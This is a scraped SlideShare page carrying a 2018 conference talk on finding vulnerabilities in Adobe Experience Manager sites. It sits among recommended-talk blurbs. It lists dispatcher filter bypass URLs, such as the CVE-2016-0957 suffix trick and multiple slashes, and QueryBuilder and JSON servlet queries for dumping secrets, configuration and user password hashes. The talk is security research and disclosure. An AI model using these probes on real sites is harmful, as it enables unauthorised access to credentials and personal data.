SlideShare a Scribd company logo
Hunting for in
AEM webapps
Mikhail Egorov @0ang3el
Budapest 2018
Mikhail Egorov, @0ang3el
• Security researcher
• Bug hunter (Bugcrowd, H1)
• In Top 20 on Bugcrowd
• Conference speaker
• Hack In The Box
• Troopers
• ZeroNights
• PHDays
• https://twitter.com/0ang3el
• https://www.slideshare.net/0ang3el
• https://speakerdeck.com/0ang3el
• https://github.com/0ang3el
Why this talk
• AEM is an enterprise-grade CMS
• AEM is widely used by high-profile companies!
3/110
Why this talk
Companies that use AEM and has public Bug bounty or Vulnerability disclosure programs
4/110

Recommended for you

"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy

During the session we will go through different methods of exploiting file upload pages in order to trigger Remote Code Execution, SQL Injection, Directory Traversal, DOS, Cross Site Scripting and else of web application vulnerabilities with demo codes. Also, we will see things from both Developers and Attackers side. What are the protections done by Developers to mitigate file upload issues by validating File Name, File Content-Type, actual File Content and how to bypass it All using 15 Technique!

vulnerabilityexploitcybersecuirty
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016

Frans Rosén has reported hundreds of security issues using his big white hat since 2012. He have recieved the biggest bounty ever paid on HackerOne, and is one of the highest ranked bug bounty researchers of all time. He's been bug bounty hunting with an iPhone in Thailand, in a penthouse suite in Las Vegas and without even being present using automation. He'll share his stories about how to act when a company's CISO is screaming "SH******T F*CK" in a phone call 02:30 a Friday night, what to do when companies are sending him money without any reason and why Doctors without Borders are trying to hunt him down.

securityhackingbugbounty
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks

This talk shares the various techniques I found whilst building the XSS cheat sheet. It contains auto executing vectors, AngularJS CSP bypasses and dangling markup attacks.

xsshtmlvectors
Why this talk
• Using whatruns.com I grabbed 9985 unique domains that use AEM
• 5751 AEM installations were on https://domain-name or
https://www.domain-name
5/110
Why this talk
• AEM is big and complex => room for security bugs!
• 26 known CVEs
• Based on open source projects
• Apache Felix
• Apache Sling
• Apache OAK JCR
https://helpx.adobe.com/experience-manager/using/osgi_getting_started.html
6/110
Why this talk
• New tools and techniques
• Details for fresh CVEs
7/110
Kudos to Jason Meyer (@zaptechsol)
Previous work
• PHDays 2015, @0ang3el
• https://www.slideshare.net/0ang3el/hacking-aem-sites
8/110

Recommended for you

What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.

This document discusses vulnerabilities in WebSocket APIs. It begins with an introduction to the speaker and overview of WebSocket protocols. It then covers specific vulnerabilities like cross-site WebSocket hijacking, authentication issues, and request smuggling through WebSocket connections. The document demonstrates these vulnerabilities through challenges on public sites. It concludes with ideas for further research on WebSocket security.

websockethackingsecurity
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection

Presentation from Zero Nights 2017 - https://2017.zeronights.ru/report/tryuki-dlya-obhoda-csrf-zashhity/.

csrfapplication securityvulnerabilities
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition

This document provides an introduction to short file names (SFN) in Windows and discusses issues related to inadvertently disclosing SFNs through IIS. It begins with an overview of how SFNs work and how they map to long file names. It then discusses the history of SFN disclosure through IIS and how it can be abused to reveal sensitive file names. The document provides examples of automatically and manually enumerating SFNs to discover long file names. It concludes with tips and tricks for SFN enumeration along with examples of using it to reveal parts of unknown file names.

iisappsecshortname
Previous work
• 2016, @darkarnium
• http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-
Code-Execution-Write-Up.html
9/110
Previous work
• SEC-T 2018, @fransrosen
• https://speakerdeck.com/fransrosen/a-story-of-the-passive-
aggressive-sysadmin-of-aem
10/110
Previous work
• 2018, @JonathanBoumanium
• https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-
e48bf8f9cd3c
11/110
All mentioned vulnerabilities were reported to
resource owners or Adobe PSIRT and are fixed!!!

Recommended for you

Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodology

The document outlines a methodology for effectively finding security vulnerabilities in web applications through bug hunting. It covers discovery techniques like using search engines and subdomain enumeration tools. It then discusses mapping the application by directory brute forcing and vulnerability discovery. Specific vulnerability classes covered include XSS, SQLi, file uploads, LFI/RFI, and CSRF. The document provides resources for each vulnerability type and recommends tools that can help automate the testing process.

ekopartybug hunterbug bounties
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour

Although web application firewall (WAF) solutions are very useful to prevent common or automated attacks, most of them are based on blacklist approaches and are still far from perfect. This talk illustrates a number of creative techniques to smuggle and reshape HTTP requests using the strange behaviour of web servers and features such as request encoding or HTTP pipelining. These methods can come in handy when testing a website behind a WAF and can help penetration testers and bug bounty hunters to avoid drama and pain! Knowing these techniques is also beneficial for the defence team in order to design appropriate mitigation techniques. Additionally, it shows why developers should not solely rely on WAFs as the defence mechanism. Finally, an open source Burp Suite extension will be introduced that can be used to assess or bypass a WAF solution using some of the techniques discussed in this talk. The plan is to keep improving this extension with the help of the http.ninja project.

wafwaf bypassbypass
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies

In this talk, top ranked white-hat hacker Frans Rosén (@fransrosen) will focus on methodologies and results of attacking modern web technologies. He will do a deep-dive in postMessage, how vulnerable configurations in both AWS and Google Cloud allow attackers to take full control of your assets. Listen to 60 minutes of new hacks, bug bounty stories and learnings that will make you realize that the protocols and policies you believed to be secure are most likely not.

securitybugbountyexploits
AEM deployment and AEM dispatcher
bypasses
Common AEM deployment
https://aemcorner.com/aem-common-deploy-models/
Main blocks:
• Author AEM instance
• Publish AEM instance
• AEM dispatcher (~WAF)
Interacts with Publish server
via AEM Dispatcher!
4503/tcp
4502/tcp
443/tcp
?
14/110
AEM Dispatcher
• Module for Web Server (Apache, IIS)
• https://www.adobeaemcloud.com/content/companies/public/adobe/dispatcher/dispatcher.
html
• Provides security (~WAF) and caching layers
15/110
AEM Dispatcher
• In theory … a front end system offers an extra layer of security to
your Adobe Experience Manager infrastructure
• In practice … it’s the only security layer!!!
• Admins rarely keep all components on Publish updated and securely
configured
16/110

Recommended for you

HTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsHTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versions

This document summarizes HTTP request smuggling vulnerabilities. It explains how an attacker can craft a single HTTP request that is parsed differently by the frontend and backend servers, allowing the backend to interpret additional hidden requests. Several exploitation techniques and detection methods are described, including issues that can arise with HTTP/1, HTTP/2, and protocols like WebSockets. Automated testing tools have been developed but further research is still needed to fully understand and prevent these attacks.

http request smugglingvulnerability
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors

XSS is much more than just <script>alert(1)</script>. Thousands of unique vectors can be built and more complex payloads to evade filters and WAFs. In these slides, cool techniques to bypass them are described, from HTML to javascript. See also http://brutelogic.com.br/blog

wafpayloadvector
REST API Pentester's perspective
REST API Pentester's perspectiveREST API Pentester's perspective
REST API Pentester's perspective

Nowadays REST APIs are behind each mobile and nearly all of web applications. As such they bring a wide range of possibilities in cases of communication and integration with given system. But with great power comes great responsibility. This talk aims to provide general guidance related do API security assessment and covers common API vulnerabilities. We will look at an API interface from the perspective of potential attacker. I will show: how to find hidden API interfaces ways to detect available methods and parameters fuzzing and pentesting techniques for API calls typical problems I will share several interesting cases from public bug bounty reports and personal experience, for example: * how I got various credentials with one API call * how to cause DoS by running Garbage Collector from API

rest apisecurityapplication security
AEM Dispatcher
• Dispatcher bypasses allow to talk to those “insecure” components …
and have LULZ
17/110
AEM Dispatcher bypasses
• CVE-2016-0957
• New bypass technique(no details for now – not fixed )
• Add multiple slashes
• SSRF
• …
18/110
Using CVE-2016-0957
/filter
{
# Deny everything first and then allow specific entries
/0001 { /type "deny" /glob "*" }
/0023 { /type "allow" /url "/content*" } # disable this rule to allow mapped content only
/0041 { /type "allow" /url "*.css" } # enable css
/0042 { /type "allow" /url "*.gif" } # enable gifs
/0043 { /type "allow" /url "*.ico" } # enable icos
/0044 { /type "allow" /url "*.js" } # enable javascript
/0045 { /type "allow" /url "*.png" } # enable png
/0046 { /type "allow" /url "*.swf" } # enable flash
/0047 { /type "allow" /url "*.jpg" } # enable jpg
/0048 { /type "allow" /url "*.jpeg" } # enable jpeg
/0062 { /type "allow" /url "/libs/cq/personalization/*" } # enable personalization
Policy dispatcher.any before CVE-2016-0957
19/110
Using CVE-2016-0957
# Deny content grabbing
/0081 { /type "deny" /url "*.infinity.json" }
/0082 { /type "deny" /url "*.tidy.json" }
/0083 { /type "deny" /url "*.sysview.xml" }
/0084 { /type "deny" /url "*.docview.json" }
/0085 { /type "deny" /url "*.docview.xml" }
/0086 { /type "deny" /url "*.*[0-9].json" }
# Deny query (and additional selectors)
/0090 { /type "deny" /url "*.query*.json" }
}
Policy dispatcher.any before CVE-2016-0957
20/110

Recommended for you

SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties

The document discusses Server Side Request Forgery (SSRF), including what it is, different types (blind and basic), ways to exploit it like bypassing filters and chaining vulnerabilities, tools that can be used for detection, and two case studies of SSRF vulnerabilities found in the wild. The first case involves using an SSRF to retrieve internal data and then storing malicious HTML in a generated PDF. The second case was an unauthenticated blind SSRF in a Jira OAuth authorization controller that was exploited through a malicious Host header.

hackingbugbountybounty
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility Cloak

This presentation illustrates a number of techniques to smuggle and reshape HTTP requests using features such as HTTP Pipelining that are not normally used by testers. The strange behaviour of web servers with different technologies will be reviewed using HTTP versions 1.1, 1.0, and 0.9 before HTTP v2 becomes too popular! Some of these techniques might come in handy when dealing with a dumb WAF or load balancer that blocks your attacks. Presented @ BSides Manchester 2017 & SteelCon 2017

httphttp smuggleinginvisibility
XXE: How to become a Jedi
XXE: How to become a JediXXE: How to become a Jedi
XXE: How to become a Jedi

The document provides instructions on how to exploit XML external entity (XXE) vulnerabilities and become a more advanced "Jedi" level hacker. It begins with XML basics and progresses through external entity attacks, file reads, port scanning, denial of service attacks, and advanced techniques like out-of-band data exfiltration and pass-the-hash attacks. The document emphasizes moving beyond just direct output to more stealthy, no-output exploitation.

xxexml external entityxml
Using CVE-2016-0957
https://aemsite/bin/querybuilder.json
https://aemsite/bin/querybuilder.json/a.css
https://aemsite/bin/querybuilder.json/a.html
https://aemsite/bin/querybuilder.json/a.ico
https://aemsite/bin/querybuilder.json/a.png
https://aemsite/bin/querybuilder.json;%0aa.css
https://aemsite/bin/querybuilder.json/a.1.json
Blocked
Allowed
21/110
Using CVE-2016-0957
https://aemsite/bin/querybuilder.json
https://aemsite/bin/querybuilder.json/a.css
/0090 { /type "deny" /url "*.query*.json" }
Last rule that matches the request is applied and has deny type!
ahttps://aemsite/bin/querybuilder.json/a.png
https://aemsite/bin/querybuilder.json;%0aa.css
https://aemsite/bin/querybuilder.json/a.1.json
Blocked
22/110
Using CVE-2016-0957
https://aemsite/bin/querybuilder.json/a.css
https://aemsite/bin/querybuilder.json/a.css
/0041 { /type "allow" /url "*.css" } # enable css
Last rule that matches the request is applied and has allow type!
ahttps://aemsite/bin/querybuilder.json/a.png
https://aemsite/bin/querybuilder.json;%0aa.css
https://aemsite/bin/querybuilder.json/a.1.json
Allowed
23/110
New bypass technique
/filter
{
# Deny everything first and then allow specific entries
/0001 { /type "deny" /glob "*" }
# Allow non-public content directories
/0023 { /type "allow" /url "/content*" } # disable this rule to allow mapped content only
# Enable extensions in non-public content directories, using a regular expression
/0041
{
/type "allow"
/extension '(clientlibs|css|gif|ico|js|png|swf|jpe?g|woff2?)’
}
Policy dispatcher.any after CVE-2016-0957
24/110

Recommended for you

HTTP Security Headers
HTTP Security HeadersHTTP Security Headers
HTTP Security Headers

The slides here are part of my presentation at the Confraria0day meeting in March 2017. It is an introduction to the various HTTP security headers with some insights about them. It covers HSTS, HPKP, X-Frame-Options, Content Security Policy, X-XSS-Protection, X-Content-Type-Options, Referrer-Policy and Set-Cookie options.

http security headerscspx-frame-options
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?

This document discusses cross-site scripting (XSS) attacks and techniques for bypassing web application firewalls (WAFs) that aim to prevent XSS. It explains how XSS payloads can be embedded in XML, GIF images, and clipboard data to exploit browser parsing behaviors. The document also provides examples of encoding payloads in complex ways like JS-F**K to evade WAF signature rules.

wafjsfuckxss
Making Joomla Insecure - Explaining security by breaking it
Making Joomla Insecure - Explaining security by breaking itMaking Joomla Insecure - Explaining security by breaking it
Making Joomla Insecure - Explaining security by breaking it

This document summarizes a presentation about making Joomla insecure and how to protect against common vulnerabilities. It demonstrates how to introduce vulnerabilities like SQL injection, local file inclusion, and cross-site scripting. It then provides tips to secure a Joomla site, such as sanitizing user input, updating to the latest version, using strong passwords, checking for file existence, and more. The goal is to make attendees aware of potential risks and how to properly secure a Joomla website.

joomla security
New bypass technique
# Enable features
/0062 { /type "allow" /url "/libs/cq/personalization/*" } # enable personalization
# Deny content grabbing, on all accessible pages, using regular expressions
/0081
{
/type "deny"
/selectors '((sys|doc)view|query|[0-9-]+)’
/extension '(json|xml)’
}
Policy dispatcher.any after CVE-2016-0957
25/110
New bypass technique
# Deny content grabbing for /content
/0082
{
/type "deny"
/path "/content"
/selectors '(feed|rss|pages|languages|blueprint|infinity|tidy)’
/extension '(json|xml|html)’
}
}
Policy dispatcher.any after CVE-2016-0957
26/110
New bypass technique
https://aemsite/bin/querybuilder.json
https://aemsite/bin/querybuilder.json/a.css
https://aemsite/bin/querybuilder.json;%0aa.css
Blocked
27/110
Sorry, details will be disclosed later!
Add multiple slashes
• ///etc.json instead of /etc.json
• ///bin///querybuilder.json instead of /bin/querybuilder.json
28/110

Recommended for you

Hack & Fix, Hands on ColdFusion Security Training
Hack & Fix, Hands on ColdFusion Security TrainingHack & Fix, Hands on ColdFusion Security Training
Hack & Fix, Hands on ColdFusion Security Training

This document provides an agenda for a ColdFusion security training session presented by Pete Freitag and David Epler. It includes introductions to the presenters and their backgrounds in ColdFusion and security. The agenda covers common ColdFusion vulnerabilities like file uploads, SQL injection, path traversals, and cross-site scripting. It also demonstrates the OWASP ZAP security tool and provides a sneak peek at a new ColdFusion security analyzer called Raijin/Blizzard. Hands-on lessons are included to allow participants to try exploiting vulnerabilities.

cfsummit2015securitycoldfusion
Rails Security
Rails SecurityRails Security
Rails Security

Rails security best practices involve defending at multiple layers including the network, operating system, web server, web application, and database. The document outlines numerous vulnerabilities at the web application layer such as information leaks, session hijacking, SQL injection, mass assignment, unscoped finds, cross-site scripting (XSS), cross-site request forgery (CSRF), and denial-of-service attacks. It provides recommendations to address each vulnerability through secure coding practices and configuration in Rails.

railssecurityruby on rails
Доклад Михаила Егорова на PHDays
Доклад Михаила Егорова на PHDaysДоклад Михаила Егорова на PHDays
Доклад Михаила Егорова на PHDays

The document summarizes techniques for hacking into Adobe Experience Manager sites. It provides commands to retrieve sensitive information like usernames, password hashes, and installed bundles. It also demonstrates how to achieve remote code execution on the system by uploading a script, copying it to the apps folder to load it, and then triggering it by accessing a specific URL. The document aims to reveal vulnerabilities that could provide unauthorized access or allow attackers to execute arbitrary code on the targeted system.

Using SSRF
• We need SSRF in a component that is allowed by AEM
dispatcher policy
• Effective way to bypass AEM dispatcher!
29/110
Things to remember
• Usually AEM dispatcher is the only security layer
• Usually it’s easy to bypass AEM dispatcher
• AEM admins usually fail to configure Publish instance securely and
install updates timely
…
• Profit!
30/110
Quickly “sniff out” buggy AEM webapp
Get JSON with JCR node props
/.json
/.1.json
/.childrenlist.json
/.ext.json
/.4.2.1...json
/.json/a.css
/.json/a.html
/.json/a.png
/.json/a.ico
/.json;%0aa.css
/content.json
/content.1.json
/content.childrenlist.json
/content.ext.json
/content.4.2.1...json
/content.json/a.css
/content.json/a.html
/content.json/a.png
/content.json/a.ico
/content.json;%0aa.css
/bin.json
/bin.1.json
/bin.childrenlist.json
/bin.ext.json
/bin.4.2.1...json
/bin.json/a.css
/bin.json/a.html
/bin.json/a.png
/bin.json/a.ico
/bin.json;%0aa.css
/ /bin/content
32/110

Recommended for you

Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5

The document provides instructions for setting up a lab environment to practice HTML5 hacking techniques. It includes details on installing VirtualBox and shared folders, as well as IP addresses to use for the "localvictim" and "evil" servers. The remainder of the document outlines a plan to cover various HTML5-related attacks, including bypassing the same-origin policy, exploiting XSS vectors in HTML5, attacking with cross-origin resource sharing and web messaging, targeting client-side storage, and using web sockets. Disclaimers are provided about the practical nature of the workshops and limited time.

zeronights 0x03
Slides for the #JavaOne Session ID: CON11881
Slides for the #JavaOne Session ID: CON11881Slides for the #JavaOne Session ID: CON11881
Slides for the #JavaOne Session ID: CON11881

This document provides an overview of Java EE 6 security best practices using the GlassFish application server. It begins with an introduction to the Galleria sample application and how it implements basic security features in Java EE 6 like form-based authentication and role-based authorization. The bulk of the document then summarizes the OWASP Top 10 security risks and provides recommendations for how to address each risk when developing Java EE 6 applications on GlassFish.

securityowaspjavaone
Java EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFishJava EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFish

This document summarizes a presentation on Java EE 6 security best practices using the GlassFish application server. It discusses the OWASP Top 10 security risks and provides recommendations for how to address each one when developing applications on the Java EE 6 platform. Specific topics covered include injection, cross-site scripting, authentication and session management, insecure direct object references, cross-site request forgery, security misconfiguration, failure to restrict URL access, insecure cryptographic storage, insufficient transport layer protection, and unvalidated redirects/forwards.

securityglassfish
Yea baby this is AEM
https://<redacted>.twitter.com/.json
https://<redacted>.twitter.com/.ext.json
33/110
Invoke servlets
/system/sling/loginstatus.json
/system/sling/loginstatus.css
/system/sling/loginstatus.png
/system/sling/loginstatus.gif
/system/sling/loginstatus.html
/system/sling/loginstatus.json/a.1.json
/system/sling/loginstatus.json;%0aa.css
/system/bgservlets/test.json
/system/bgservlets/test.css
/system/bgservlets/test.png
/system/bgservlets/test.gif
/system/bgservlets/test.html
/system/bgservlets/test.json/a.1.json
/system/bgservlets/test.json;%0aa.css
/system/bgservlets/test/system/sling/loginstatus
34/110
Yea baby this is AEM
https://<redacted>.adobe.com/system/sling/loginstatus.css
https://www.<redacted>/system/bgservlets/test.json
35/110
Grabbing juicy data from JCR

Recommended for you

Flashack
FlashackFlashack
Flashack

The document discusses vulnerabilities in Flash applications. It begins by introducing Flash and explaining that while some claim it is outdated, it still poses security risks due to programming flaws. Several types of vulnerabilities are then outlined, including cross-site scripting, cross-domain policy misconfigurations, decompilation risks revealing sensitive data, and abuse of functions like getURL() that allow external code execution. Methods of exploiting these vulnerabilities are explained, along with mitigations like sanitizing inputs and using strict cross-domain policies. The document concludes by mentioning additional risks like camjacking through clickjacking.

DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systemsDEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems

Firmware analysis often involves searching firmware images for known file headers and file systems like SquashFS to extract contained files. Automated binary analysis tools like binwalk can help extract files from images. HTTP interfaces are common targets for security testing since they are often exposed without authentication. Testing may uncover vulnerabilities like XSS, CSRF, SQLi or command injection. Wireless interfaces also require testing to check for issues like weak encryption or exposure of credentials in cleartext.

defcondefcon 24def con
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf

This document discusses various cross-site scripting (XSS) evasion techniques and evaluates the effectiveness of popular XSS filters and intrusion detection systems (IDS), including ModSecurity, PHP-IDS, and Internet Explorer 8. It provides examples of how attacks can bypass these defenses by exploiting Unicode encoding, HTML/JavaScript tricks, and other methods. The author argues that most filters are ineffective at blocking all XSS variations and recommends ways to strengthen XSS filtering.

What we can find
• Everything is stored in JCR repository as node properties
including:
• Secrets (passwords, encryption keys, tokens)
• Configuration
• PII
• Usernames
37/110
AEM servlets for grabbing loot
• DefaultGetServlet
• QueryBuilderJsonServlet
• QueryBuilderFeedServlet
• GQLSearchServlet
• …
38/110
DefaultGetServlet
• Allows to get JCR node with its props
• Selectors
• tidy
• infinity
• numeric value: -1, 0, 1 … 99999
• Formats
• json
• xml
• res
39/110
DefaultGetServlet
• Allows to get JCR node with its props
• Selectors
• tidy
• infinity
• numeric value: -1, 0, 1 … 99999
• Formats
• json
• xml
• res good for retrieving files
40/110

Recommended for you

Sql Injections With Real Life Scenarious
Sql Injections With Real Life ScenariousSql Injections With Real Life Scenarious
Sql Injections With Real Life Scenarious

SQL Injections Within Real Life Scenarious . We take upon various situations where out of the box thinking was required.

sql injectionsql attack vectorsinjection
Hibernate java and_oracle
Hibernate java and_oracleHibernate java and_oracle
Hibernate java and_oracle

The document provides an overview of configuring and using Hibernate, an object-relational mapping tool for Java. It discusses downloading and setting up required libraries, configuring Hibernate properties and mappings, and examples of mapping Java objects to database tables for single entities, primary keys, one-to-many and many-to-many relationships, and reference data. Code samples and explanations are provided for saving, updating, and querying objects using Hibernate.

The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications

The top 10 security issues in web applications are: 1. Injection flaws such as SQL, OS, and LDAP injection. 2. Cross-site scripting (XSS) vulnerabilities that allow attackers to execute scripts in a victim's browser. 3. Broken authentication and session management, such as not logging users out properly or exposing session IDs. 4. Insecure direct object references where users can directly access files without authorization checks. 5. Cross-site request forgery (CSRF) that tricks a user into performing actions they did not intend. 6. Security misconfiguration of web or application servers. 7. Insecure cryptographic storage of passwords or sensitive data. 8

web security devnology osap
DefaultGetServlet
https://aem.site/.tidy.3.json
jcr:root
selector tidy
selector depth
output format
Get JCR nodes with props starting from jcr:root with depth 3 and return formatted JSON
41/110
DefaultGetServlet – How to grab
• Get node names, start from jcr:root
• /.1.json
• /.ext.json
• /.childrenlist.json
• Or guess node names: /content, /home, /var, /etc
• Dump props for each child node of jcr:root
• /content.json or /content.5.json or /content.-1.json
42/110
DefaultGetServlet – What to grab
• Interesting nodes
• /etc – may contain secrets (passwords, enc. keys, …)
• /apps/system/config or /apps/<smth>/config (passwords, …)
• /var – may contain private information (PII)
• /home – password hashes, PII
• Interesting props – contain AEM users names
• jcr:createdBy
• jcr:lastModifiedBy
• cq:LastModifiedBy
43/110
P1 submission for private BB program - AEM webapp reveals DB passwords
/apps/<redacted>/config.author.tidy.1..json/a.ico
DefaultGetServlet – In the wild 44/110

Recommended for you

8 Most Popular Joomla Hacks & How To Avoid Them
8 Most Popular Joomla Hacks & How To Avoid Them8 Most Popular Joomla Hacks & How To Avoid Them
8 Most Popular Joomla Hacks & How To Avoid Them

The document discusses the 8 most popular Joomla! hacks and how to avoid them. It summarizes that having an outdated Joomla! core, extensions, or themes are vulnerabilities that can be exploited. It also notes that using weak passwords, outdated server software, incorrectly configured server software, incorrect Joomla! file permissions, and malware can allow hackers access. The document provides tips to avoid these vulnerabilities such as always updating software, using strong unique passwords, properly configuring servers, setting correct file permissions, and using antivirus software.

joomla securitysitegroundjoomla extensions
Rails Security
Rails SecurityRails Security
Rails Security

This document summarizes best practices for securing Rails applications. It discusses potential information leaks from server headers, status pages, and Subversion metadata. It also covers vulnerabilities like cookie session storage, cross-site scripting (XSS), session fixation, cross-site request forgery (CSRF), SQL injection, and JavaScript hijacking. The document provides recommendations to address each issue, such as disabling server headers, preventing .svn access, using secure session storage, sanitizing user input, resetting sessions after login, validating CSRF tokens, and escaping values in SQL queries.

railssecurityamsterdam
Distributed Automation(2018) - London Test Automation in Devops Meetup
Distributed Automation(2018) - London Test Automation in Devops MeetupDistributed Automation(2018) - London Test Automation in Devops Meetup
Distributed Automation(2018) - London Test Automation in Devops Meetup

This document discusses distributed automation (DA) for running UI tests across scaled cloud infrastructure using Selenium Grid Scaler on AWS. It covers: setting up Selenium Grid hub and nodes on AWS, different grid topologies for parallel testing, making the grid stable through timeouts and resources tuning, cost savings through autoscaling and large instance types, and a DA dashboard for monitoring tests. The goal of DA is to run hundreds of tests within the time of the slowest test case through parallelization and scalability.

distributed-automationdadevops
• We can search JCR using different predicates
• https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuilder-
predicate-reference.html
• QueryBuilderJsonServlet allows to get Nodes and their Props
(DefaultGetServlet on steroids)
• QueryBuilderFeedServlet allows to get Nodes (no Props)
• but we can use blind binary search for Props
QueryBuilder: JsonServlet & FeedServlet 45/110
QueryBuilder: JsonServlet & FeedServlet
///bin///querybuilder.json
///bin///querybuilder.json.servlet
///bin///querybuilder.json/a.css
///bin///querybuilder.json.servlet/a.css
///bin///querybuilder.json/a.ico
///bin///querybuilder.json.servlet/a.ico
///bin///querybuilder.json;%0aa.css
///bin///querybuilder.json.servlet;%0aa.css
///bin///querybuilder.json/a.1.json
///bin///querybuilder.json.servlet/a.1.json
///bin///querybuilder.json.css
///bin///querybuilder.json.ico
///bin///querybuilder.json.html
///bin///querybuilder.json.png
/bin/querybuilder.json
///bin///querybuilder.feed.servlet
///bin///querybuilder.feed.servlet/a.css
///bin///querybuilder.feed.servlet/a.ico
///bin///querybuilder.feed.servlet;%0aa.css
///bin///querybuilder.feed.servlet/a.1.json
/bin/querybuilder.feed.servlet
46/110
Examples of useful searches
• type=nt:file&nodename=*.zip
• path=/home&p.hits=full&p.limit=-1
• hasPermission=jcr:write&path=/content
• hasPermission=jcr:addChildNodes&path=/content
• hasPermission=jcr:modifyProperties&path=/content
• p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alast
ModifiedBy&property.operation=unequals&property.value=admin&type=n
t%3abase&p.limit=1000
• path=/etc&path.flat=true&p.nodedepth=0
• path=/etc/replication/agents.author&p.hits=full&p.nodedepth=-1
47/110
Examples of useful searches
type=nt:file&nodename=*.zip
P1 submission for private BB – grab prod config for Author server
48/110

Recommended for you

(WEB301) Operational Web Log Analysis | AWS re:Invent 2014
(WEB301) Operational Web Log Analysis | AWS re:Invent 2014(WEB301) Operational Web Log Analysis | AWS re:Invent 2014
(WEB301) Operational Web Log Analysis | AWS re:Invent 2014

Log data contains some of the most valuable raw information you can gather and analyze about your infrastructure and applications. Amid the mess of confusing lines of seemingly random text can be hints about performance, security, flaws in code, user access patterns, and other operational data. Without the proper tools, finding insights in these logs can be like searching for a hay-colored needle in a haystack. In this session you learn what practices and patterns you can easily implement that can help you better understand your log files. You see how you can customize web logs to add more information to them, how to digest logs from around your infrastructure, and how to analyze your log files in near real time.

scaleperformanceamazon ec2
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016
DevOops Redux Ken Johnson Chris Gates  - AppSec USA 2016DevOops Redux Ken Johnson Chris Gates  - AppSec USA 2016
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016

In a follow-up to the duo’s offensive focused talk “DevOops, How I hacked you”, they discuss defensive countermeasures and real experiences in preventing attacks that target flaws in your DevOps environments. In this talk, Chris and Ken describe common ways in which DevOps environments fall prey to malicious actors with a focus on preventative steps. The team will present their recommended approach to hardening for teams using AWS, Continuous Integration, GitHub, and common DevOps tools and processes. More specifically, the following items will be demonstrated: -AWS Hardening -AWS Monitoring -AWS Disaster Recovery -GitHub Monitoring -OPINT -Software Development Practices/Processes -Secure use of Jenkins/Hudson -Developer laptop hardening (OS X)

pentestingappsecdefense
Splunk: Forward me the REST of those shells
Splunk: Forward me the REST of those shellsSplunk: Forward me the REST of those shells
Splunk: Forward me the REST of those shells

Splunk forwarders were used to gain initial access to a network by exploiting their default credentials and REST API. This allowed deploying a malicious app that provided a shell. The shell was then used to pillage other systems by abusing credentials and data found in Chef scripts and GitHub repositories. Mitigations include changing default credentials, disabling the REST API on forwarders, improving logging and monitoring for unusual app deployments, using TLS for deployment server communications, and running Splunk in a less privileged manner.

splunkbsidesexploitation
path=/home&p.hits=full&p.limit=-1
P1 submission for private BB – grab AEM users hashed passwords
Examples of useful searches 49/110
Examples of useful searches
hasPermission=jcr:write&path=/content
